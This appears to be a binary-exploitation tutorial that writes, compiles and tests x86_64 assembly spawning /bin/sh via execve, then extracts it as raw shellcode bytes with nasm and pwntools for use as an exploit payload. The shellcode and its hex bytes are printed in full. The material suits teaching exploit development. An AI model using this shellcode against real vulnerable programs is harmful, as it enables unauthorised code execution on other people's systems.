# Assembly x86_64 - Spawning a Shell ## Assembly Code We're going to use vim to write our code [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] → vim 7.asm section .text global _start _start: xor esi, esi xor edx, edx push 0x3b pop rax mov rbx, 0x68732f2f6e69622f push rsi push rbx mov rdi, rsp syscall Now let's check out what is new in the above code: _start: xor esi, esi xor edx, edx using xor on the same register has the property of being equivalent to mov esi, 0 but being shorter (only 2 bytes) the processor recognizes the special case and treats it as a mov esi, 0 so the execution time is the same. so we clear out the esi and edx registers, push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59) pop rax ;take the out the top of the stack to put it into rax Next we push the value 0x3b (59) onto the stack, and then pop the value out into rax, The equivalent is **mov rax, 59** However this results in a shorter shellcode as we're going to see later on. Now since we have our execve() syscall, we want to give it an arguement, we want it to spawn **/bin/sh** and we want it to be 8 bytes so we get the following: **/bin//sh** : [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] → echo '/bin//sh' | xxd 00000000: 2f62 696e 2f2f 7368 0a /bin//sh. [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] → echo 'hs//nib/' | xxd 00000000: 6873 2f2f 6e69 622f 0a hs//nib/. So we get our following mov instruction: mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx ## Compiling Here we're going to use nasm to compile our assembly code and then ld to create the binary file: [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] → nasm -f elf64 7.asm [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] → ld 7.o -o 7 [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] → ./7 [ 192.168.100.1/24 ] [ /dev/pts/3 ] [/home/nothing/binexp/asm] → echo $0 ; exit bash exit [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] → echo $0 /bin/zsh And that's it! But if we wanted to create shellcode for binary exploitation, we would adjust the assembly code as follows: [bits 64] xor esi, esi ; xor out esi and edx xor edx, edx push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59) pop rax ;take the out the top of the stack to put it into rax mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx push rsi ; push the value of rsi push rbx ; push the value of rbx mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement) syscall And then we would compile it not with the elf64 flag, but this time we don't need a binary file, we want what's called shellcode to use in conjunction with python pwntools: [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] → nasm -f bin 7.asm [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] → cat 7 11j;XH/bin//shVSH% Now let's view the hexdump of our shellcode inside of python pwntools: [ 192.168.0.18/24 ] [ /dev/pts/7 ] [~/binexp/asm] → vim hexdump.py from pwn import * #read the shellcode file we compiled with open('7', 'rb') as f: shellcode = f.read() print(shellcode) Here basically we take our shellcode file (named 7) and we store its contents into the shellcode variable. Then we print it: [ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm] → python3 hexdump.py b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05' However this isn't all that accurate for us. Here you can see the non-ascii characters being represented as \x00 \x01 \x02 and such. So to get more information on the shellcode characters we should use the hexdump function that's built-in to pwntools: from pwn import * #read the shellcode file we compiled with open('7', 'rb') as f: shellcode = f.read() print(hexdump(shellcode)) And we get the following result: [ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm] → python3 hexdump.py 00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│ 00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│ 00000018 And that's it! we have some payload ready to be used for binary exploitation purposes.